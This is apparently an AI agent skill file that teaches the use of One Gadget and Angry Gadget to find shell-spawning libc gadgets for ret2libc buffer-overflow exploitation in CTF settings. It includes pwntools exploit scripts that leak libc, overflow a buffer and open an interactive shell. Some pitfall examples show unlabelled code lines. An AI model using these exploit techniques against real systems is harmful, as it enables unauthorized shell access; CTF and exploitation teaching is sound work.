| name | one-gadget-rop |
| description | How to use One Gadget and Angry Gadget for ret2lib attacks in binary exploitation. Use this skill whenever the user mentions ret2lib, one-gadget, one_gadget, finding shell gadgets in libc, execve gadgets, ROP chains for shell spawning, or any binary exploitation task involving libc gadgets. Also use when the user is working on CTF challenges, buffer overflows, or return-oriented programming that needs to spawn a shell without traditional system("/bin/sh"). |
One Gadget ROP Helper
A skill for using One Gadget and Angry Gadget to find shell-spawning gadgets in libc for ret2lib attacks.
What This Skill Does
This skill helps you:
- Find one-gadget addresses in libc that spawn shells with a single ROP chain entry
- Understand and satisfy gadget constraints (like
[rsp+0x30] == NULL)
- Generate proper ROP chains with one-gadget addresses
- Use Angry Gadget as a fallback when One Gadget finds no gadgets
- Handle different architectures (x86_64, ARM64)
When to Use This Skill
Use this skill when:
- You need to spawn a shell in a binary exploitation challenge
- You're doing ret2lib attacks and want to avoid building complex ROP chains
- You have libc addresses and need to find execve gadgets
- One Gadget returns no results and you need alternatives
- You're working on CTF challenges involving buffer overflows and libc exploitation
Core Concepts
What is One Gadget?
One Gadget finds addresses in libc that execute execve("/bin/sh") with a single ROP chain entry. This simplifies exploitation by:
- Eliminating the need for
system("/bin/sh") chains
- Reducing ROP chain complexity
- Working even when
/bin/sh string isn't in memory
Common Constraints
One Gadget gadgets often have constraints. The most common:
| Constraint | Meaning | How to Satisfy |
|---|
[rsp+0x30] == NULL | Stack at offset 0x30 must be NULL | Add padding with \x00 bytes |
[rsp+0x20] == NULL | Stack at offset 0x20 must be NULL | Add padding with \x00 bytes |
rdx == NULL | RDX register must be NULL | Ensure RDX is cleared or controlled |
rdi == NULL | RDI register must be NULL | Ensure RDI is cleared or controlled |
Basic Usage Pattern
from pwn import *
libc_base = libc.address
ONE_GADGET_OFFSET = 0x4526a
ONE_GADGET = libc_base + ONE_GADGET_OFFSET
rop_chain = p64(ONE_GADGET) + b"\x00" * 100
io.sendline(rop_chain)
Step-by-Step Workflow
Step 1: Find One Gadget Addresses
./one_gadget /path/to/libc.so.6
Example output:
0x4526a ; rdx == NULL
0x45276 ; rdx == NULL
0xf0364 ; rdx == NULL
Step 2: Choose a Gadget
Pick a gadget with constraints you can satisfy. Prefer gadgets with:
- Fewer constraints
- Constraints you can easily meet (like NULL stack values)
Step 3: Calculate the Address
libc_base = libc.address
one_gadget_offset = 0x4526a
one_gadget_addr = libc_base + one_gadget_offset
Step 4: Build the ROP Chain
from pwn import *
rop = p64(one_gadget_addr) + b"\x00" * 100
rop = p64(one_gadget_addr)
rop += b"\x00" * 0x30
Step 5: Send the Payload
io.sendline(rop)
payload = b"A" * offset + p64(one_gadget_addr) + b"\x00" * 100
io.sendline(payload)
Using Angry Gadget
When One Gadget finds no gadgets (common on ARM64 or newer libc versions), use Angry Gadget:
pip install angry_gadget
angry_gadget.py /path/to/libc.so.6
Angry Gadget:
- Uses angr for constraint solving
- Finds more gadgets with complex constraints
- May require more work to satisfy constraints
Architecture-Specific Notes
x86_64
One Gadget works well on x86_64. Common offsets:
0x4526a - Common in glibc 2.23-2.31
0xf0364 - Alternative in some versions
ARM64
One Gadget often finds no gadgets on ARM64 (especially Kali 2023.3+). Use Angry Gadget instead:
angry_gadget.py libc.so.6
Common Pitfalls
Pitfall 1: Forgetting to Add libc Base
ONE_GADGET = 0x4526a
ONE_GADGET = libc.address + 0x4526a
Pitfall 2: Not Satisfying Constraints
rop = p64(ONE_GADGET)
rop = p64(ONE_GADGET) + b"\x00" * 100
Pitfall 3: Wrong Endianness
rop = "\x6a\x25\x04\x00\x00\x00\x00\x00"
rop = p64(ONE_GADGET)
Integration with pwntools
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
libc = ELF('./libc.so.6')
one_gadget_offset = 0x4526a
one_gadget = libc.address + one_gadget_offset
payload = b"A" * 0x118
payload += p64(one_gadget)
payload += b"\x00" * 100
io = process('./vuln')
io.sendline(payload)
io.interactive()
Debugging Tips
Check if libc is Correct
print(f"libc base: {hex(libc.address)}")
print(f"one_gadget: {hex(one_gadget)}")
Test Constraints
Verify Shell Spawn
io.interactive()
Example: Complete Exploit
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./vuln')
libc_leak = u64(io.recv(6) + b"\x00\x00")
libc_base = libc_leak - 0x21900
one_gadget_offset = 0x4526a
one_gadget = libc_base + one_gadget_offset
payload = b"A" * 0x118
payload += p64(one_gadget)
payload += b"\x00" * 100
io.sendline(payload)
io.interactive()
Quick Reference
| Task | Command/Code |
|---|
| Find gadgets | ./one_gadget libc.so.6 |
| Install Angry Gadget | pip install angry_gadget |
| Run Angry Gadget | angry_gadget.py libc.so.6 |
| Calculate address | one_gadget = libc.address + offset |
| Build chain | p64(one_gadget) + b"\x00" * 100 |
| Send payload | io.sendline(payload) |
Resources
When This Skill Doesn't Apply
This skill is specifically for:
- ret2lib attacks using libc gadgets
- Binary exploitation with known libc
- CTF challenges involving buffer overflows
Don't use this skill for:
- Format string vulnerabilities (use format-string skill)
- Heap exploitation (use heap-exploitation skill)
- Kernel exploitation (different techniques)
- Web application security (different domain)